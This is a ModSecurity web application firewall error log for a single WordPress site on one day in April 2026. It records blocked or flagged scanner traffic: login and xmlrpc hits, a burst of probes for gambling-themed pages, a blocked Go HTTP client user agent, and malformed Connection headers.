[Mon Apr 13 13:34:29.534169 2026] [:error] [pid 7228:tid 7231] [client 103.59.160.151:52992] [client 103.59.160.151] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.59.160.151, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "adyAZQEnn1dQrOSHHNXYtwAAAQE"], referer: https://gigfragments.org/wp-login.php
[Mon Apr 13 13:34:32.498604 2026] [:error] [pid 7228:tid 7247] [client 103.59.160.151:52992] [client 103.59.160.151] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.59.160.151, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "adyAaAEnn1dQrOSHHNXYxwAAARE"], referer: https://gigfragments.org/wp-login.php
[Mon Apr 13 13:34:51.392177 2026] [:error] [pid 7228:tid 7231] [client 103.59.160.151:56593] [client 103.59.160.151] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.59.160.151, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "adyAewEnn1dQrOSHHNXY9wAAAQE"], referer: https://gigfragments.org/wp-login.php
[Mon Apr 13 14:18:27.557051 2026] [:error] [pid 63309:tid 63334] [client 122.176.106.81:54968] [client 122.176.106.81] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 122.176.106.81, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "adyKs0pIKZ10weXpf0Xl6gAAABU"]
[Mon Apr 13 14:18:39.164555 2026] [:error] [pid 63309:tid 63335] [client 122.176.106.81:55430] [client 122.176.106.81] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 122.176.106.81, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "adyKv0pIKZ10weXpf0Xl8gAAABY"]
[Mon Apr 13 14:18:51.423515 2026] [:error] [pid 63310:tid 63346] [client 122.176.106.81:56140] [client 122.176.106.81] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 122.176.106.81, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "adyKy3oXpRU5ztmwPjIMlgAAAEI"]
[Mon Apr 13 14:19:02.577365 2026] [:error] [pid 63311:tid 63377] [client 122.176.106.81:56621] [client 122.176.106.81] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 122.176.106.81, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "adyK1qHjrGN1MqBCVFmh1gAAAIY"]
[Mon Apr 13 14:19:13.953693 2026] [:error] [pid 63311:tid 63376] [client 122.176.106.81:57074] [client 122.176.106.81] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 122.176.106.81, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "adyK4aHjrGN1MqBCVFmh4gAAAIU"]
[Mon Apr 13 14:31:19.736860 2026] [:error] [pid 63406:tid 63426] [client 192.176.172.166:49466] [client 192.176.172.166] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 192.176.172.166, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "adyNt7HZEIkQ0Zmgp5qvowAAAM8"]
[Mon Apr 13 14:31:22.187606 2026] [:error] [pid 63406:tid 63411] [client 192.176.172.166:49466] [client 192.176.172.166] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 192.176.172.166, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "adyNurHZEIkQ0Zmgp5qvpAAAAMA"], referer: https://gigfragments.org/wp-login.php
[Mon Apr 13 15:36:04.764993 2026] [:error] [pid 7228:tid 7237] [client 119.96.24.54:54690] [client 119.96.24.54] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "adyc5AEnn1dQrOSHHNU7lgAAAQc"]
[Mon Apr 13 17:27:46.284487 2026] [:error] [pid 57183:tid 57206] [client 147.135.213.38:45970] [client 147.135.213.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20777.aspx"] [unique_id "ady3EjDO3t8R5NaxzYTZnQAAAVU"]
[Mon Apr 13 17:27:48.218428 2026] [:error] [pid 63406:tid 63423] [client 147.135.213.38:36342] [client 147.135.213.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20888.aspx"] [unique_id "ady3FLHZEIkQ0Zmgp5ooDQAAAMw"]
[Mon Apr 13 17:27:50.142877 2026] [:error] [pid 7228:tid 7253] [client 147.135.213.38:36352] [client 147.135.213.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%2099.aspx"] [unique_id "ady3FgEnn1dQrOSHHNVeywAAARc"]
[Mon Apr 13 17:27:52.110444 2026] [:error] [pid 63406:tid 63435] [client 147.135.213.38:36364] [client 147.135.213.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20auto.aspx"] [unique_id "ady3GLHZEIkQ0Zmgp5ooGQAAANg"]
[Mon Apr 13 17:27:54.034644 2026] [:error] [pid 9314:tid 9329] [client 147.135.213.38:36378] [client 147.135.213.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20demo.aspx"] [unique_id "ady3Gm_r4W8fX2GWyGTPmAAAAY0"]
[Mon Apr 13 17:27:56.176295 2026] [:error] [pid 63310:tid 63367] [client 147.135.213.38:36384] [client 147.135.213.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20free.aspx"] [unique_id "ady3HHoXpRU5ztmwPjIyiAAAAFc"]
[Mon Apr 13 17:27:58.301734 2026] [:error] [pid 63309:tid 63330] [client 147.135.213.38:35800] [client 147.135.213.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20game%20666.aspx"] [unique_id "ady3HkpIKZ10weXpf0UFiQAAABE"]
[Mon Apr 13 17:28:00.160969 2026] [:error] [pid 9314:tid 9340] [client 147.135.213.38:35810] [client 147.135.213.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20joker.aspx"] [unique_id "ady3IG_r4W8fX2GWyGTPogAAAZg"]
[Mon Apr 13 17:28:01.940464 2026] [:error] [pid 63406:tid 63425] [client 147.135.213.38:35816] [client 147.135.213.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20online.aspx"] [unique_id "ady3IbHZEIkQ0Zmgp5ooNwAAAM4"]
[Mon Apr 13 17:28:03.838892 2026] [:error] [pid 57183:tid 57200] [client 147.135.213.38:35824] [client 147.135.213.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20pg%20soft.aspx"] [unique_id "ady3IzDO3t8R5NaxzYTZyQAAAU8"]
[Mon Apr 13 17:28:05.766410 2026] [:error] [pid 57183:tid 57192] [client 147.135.213.38:35830] [client 147.135.213.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20pg%20vip.aspx"] [unique_id "ady3JTDO3t8R5NaxzYTZzQAAAUc"]
[Mon Apr 13 17:28:07.670983 2026] [:error] [pid 63406:tid 63416] [client 147.135.213.38:33050] [client 147.135.213.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20pg%20wallet.aspx"] [unique_id "ady3J7HZEIkQ0Zmgp5ooPAAAAMU"]
[Mon Apr 13 17:28:09.587571 2026] [:error] [pid 9314:tid 9323] [client 147.135.213.38:33052] [client 147.135.213.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20super%20wallet.aspx"] [unique_id "ady3KW_r4W8fX2GWyGTPsAAAAYc"]
[Mon Apr 13 17:28:11.545656 2026] [:error] [pid 63311:tid 63378] [client 147.135.213.38:33068] [client 147.135.213.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20true%20wallet.aspx"] [unique_id "ady3K6HjrGN1MqBCVFnU4QAAAIc"]
[Mon Apr 13 17:28:13.426399 2026] [:error] [pid 63309:tid 63321] [client 147.135.213.38:33074] [client 147.135.213.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20wallet%20777%20auto.aspx"] [unique_id "ady3LUpIKZ10weXpf0UFlwAAAAg"]
[Mon Apr 13 17:28:15.349461 2026] [:error] [pid 63406:tid 63421] [client 147.135.213.38:33076] [client 147.135.213.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20wallet%20iwallet%20link%20login.aspx"] [unique_id "ady3L7HZEIkQ0Zmgp5ooTAAAAMo"]
[Mon Apr 13 17:28:17.271737 2026] [:error] [pid 57183:tid 57191] [client 147.135.213.38:52644] [client 147.135.213.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20wallet.aspx"] [unique_id "ady3MTDO3t8R5NaxzYTZ-QAAAUY"]
[Mon Apr 13 17:28:19.218115 2026] [:error] [pid 63311:tid 63377] [client 147.135.213.38:52650] [client 147.135.213.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot1234%20pg.aspx"] [unique_id "ady3M6HjrGN1MqBCVFnU7AAAAIY"]
[Mon Apr 13 17:28:20.982932 2026] [:error] [pid 63311:tid 63379] [client 147.135.213.38:52664] [client 147.135.213.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slotxo%20wallet.aspx"] [unique_id "ady3NKHjrGN1MqBCVFnU7QAAAIg"]
[Mon Apr 13 17:28:23.004885 2026] [:error] [pid 63406:tid 63423] [client 147.135.213.38:52680] [client 147.135.213.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/spg%20slot.aspx"] [unique_id "ady3N7HZEIkQ0Zmgp5ooZQAAAMw"]
[Mon Apr 13 17:28:24.933504 2026] [:error] [pid 57183:tid 57194] [client 147.135.213.38:52690] [client 147.135.213.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/spx%20slot.aspx"] [unique_id "ady3ODDO3t8R5NaxzYTaCgAAAUk"]
[Mon Apr 13 17:28:26.964468 2026] [:error] [pid 63406:tid 63431] [client 147.135.213.38:52696] [client 147.135.213.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/super%20pg%201688.aspx"] [unique_id "ady3OrHZEIkQ0Zmgp5oogwAAANQ"]
[Mon Apr 13 17:28:29.022315 2026] [:error] [pid 57183:tid 57189] [client 147.135.213.38:59146] [client 147.135.213.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/super%20slot.aspx"] [unique_id "ady3PTDO3t8R5NaxzYTaEwAAAUQ"]
[Mon Apr 13 17:28:31.089854 2026] [:error] [pid 63311:tid 63372] [client 147.135.213.38:59152] [client 147.135.213.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20max%20wallet.aspx"] [unique_id "ady3P6HjrGN1MqBCVFnU8gAAAIE"]
[Mon Apr 13 17:28:32.943784 2026] [:error] [pid 57183:tid 57204] [client 147.135.213.38:59166] [client 147.135.213.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20vip.aspx"] [unique_id "ady3QDDO3t8R5NaxzYTaGQAAAVM"]
[Mon Apr 13 17:28:34.972722 2026] [:error] [pid 63406:tid 63422] [client 147.135.213.38:59178] [client 147.135.213.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20wallet%20net.aspx"] [unique_id "ady3QrHZEIkQ0Zmgp5oonQAAAMs"]
[Mon Apr 13 17:28:36.996021 2026] [:error] [pid 63406:tid 63428] [client 147.135.213.38:59184] [client 147.135.213.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20wallet.aspx"] [unique_id "ady3RLHZEIkQ0Zmgp5oopQAAANE"]
[Mon Apr 13 17:28:38.876176 2026] [:error] [pid 63406:tid 63422] [client 147.135.213.38:48232] [client 147.135.213.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot168%20wallet.aspx"] [unique_id "ady3RrHZEIkQ0Zmgp5oouAAAAMs"]
[Mon Apr 13 17:28:40.642077 2026] [:error] [pid 7228:tid 7254] [client 147.135.213.38:48248] [client 147.135.213.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20168.aspx"] [unique_id "ady3SAEnn1dQrOSHHNVfHgAAARg"]
[Mon Apr 13 17:28:42.516442 2026] [:error] [pid 63406:tid 63425] [client 147.135.213.38:48256] [client 147.135.213.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20c4.aspx"] [unique_id "ady3SrHZEIkQ0Zmgp5oo0gAAAM4"]
[Mon Apr 13 17:29:18.522656 2026] [:error] [pid 57183:tid 57204] [client 147.135.213.38:48260] [client 147.135.213.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20wallet%20777.aspx"] [unique_id "ady3bjDO3t8R5NaxzYTahgAAAVM"]
[Mon Apr 13 17:29:20.493836 2026] [:error] [pid 63406:tid 63424] [client 147.135.213.38:39770] [client 147.135.213.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20wallet.aspx"] [unique_id "ady3cLHZEIkQ0Zmgp5opngAAAM0"]
[Mon Apr 13 17:29:22.350031 2026] [:error] [pid 63406:tid 63414] [client 147.135.213.38:39776] [client 147.135.213.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/w69%20slot.aspx"] [unique_id "ady3crHZEIkQ0Zmgp5opqgAAAMM"]
[Mon Apr 13 17:29:24.379003 2026] [:error] [pid 63309:tid 63313] [client 147.135.213.38:39786] [client 147.135.213.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wallet%20slot.aspx"] [unique_id "ady3dEpIKZ10weXpf0UF1gAAAAA"]
[Mon Apr 13 17:29:26.389117 2026] [:error] [pid 9314:tid 9336] [client 147.135.213.38:39790] [client 147.135.213.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/we88%20slot.aspx"] [unique_id "ady3dm_r4W8fX2GWyGTQDwAAAZQ"]
[Mon Apr 13 17:29:28.409441 2026] [:error] [pid 63406:tid 63417] [client 147.135.213.38:33010] [client 147.135.213.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/www%20ufabet%20com.aspx"] [unique_id "ady3eLHZEIkQ0Zmgp5op0AAAAMY"]
[Mon Apr 13 17:29:30.287847 2026] [:error] [pid 63406:tid 63426] [client 147.135.213.38:33018] [client 147.135.213.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xo%20slot.aspx"] [unique_id "ady3erHZEIkQ0Zmgp5op2gAAAM8"]
[Mon Apr 13 17:29:32.293140 2026] [:error] [pid 57183:tid 57193] [client 147.135.213.38:33026] [client 147.135.213.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/yakuza%20slot.aspx"] [unique_id "ady3fDDO3t8R5NaxzYTalwAAAUg"]
[Mon Apr 13 18:03:54.477095 2026] [:error] [pid 63310:tid 63352] [client 212.47.78.122:50025] [client 212.47.78.122] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/"] [unique_id "ady_inoXpRU5ztmwPjI4ZgAAAEg"]
[Mon Apr 13 18:03:55.031882 2026] [:error] [pid 7228:tid 7248] [client 212.47.78.122:50836] [client 212.47.78.122] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-includes/css/buttons.css"] [unique_id "ady_iwEnn1dQrOSHHNVoyAAAARI"]
[Mon Apr 13 18:03:55.611709 2026] [:error] [pid 63406:tid 63419] [client 212.47.78.122:62931] [client 212.47.78.122] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/media/system/js/core.js"] [unique_id "ady_i7HZEIkQ0Zmgp5pA-wAAAMg"]
[Mon Apr 13 19:00:03.654126 2026] [:error] [pid 63406:tid 63434] [client 43.156.156.96:43870] [client 43.156.156.96] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "adzMs7HZEIkQ0Zmgp5ppTwAAANc"]
[Mon Apr 13 19:08:06.927781 2026] [:error] [pid 63406:tid 63427] [client 103.109.13.75:64607] [client 103.109.13.75] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.109.13.75, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "adzOlrHZEIkQ0Zmgp5ptigAAANA"]
[Mon Apr 13 19:08:17.314292 2026] [:error] [pid 7228:tid 7253] [client 103.109.13.75:65196] [client 103.109.13.75] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.109.13.75, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "adzOoQEnn1dQrOSHHNV5dgAAARc"]
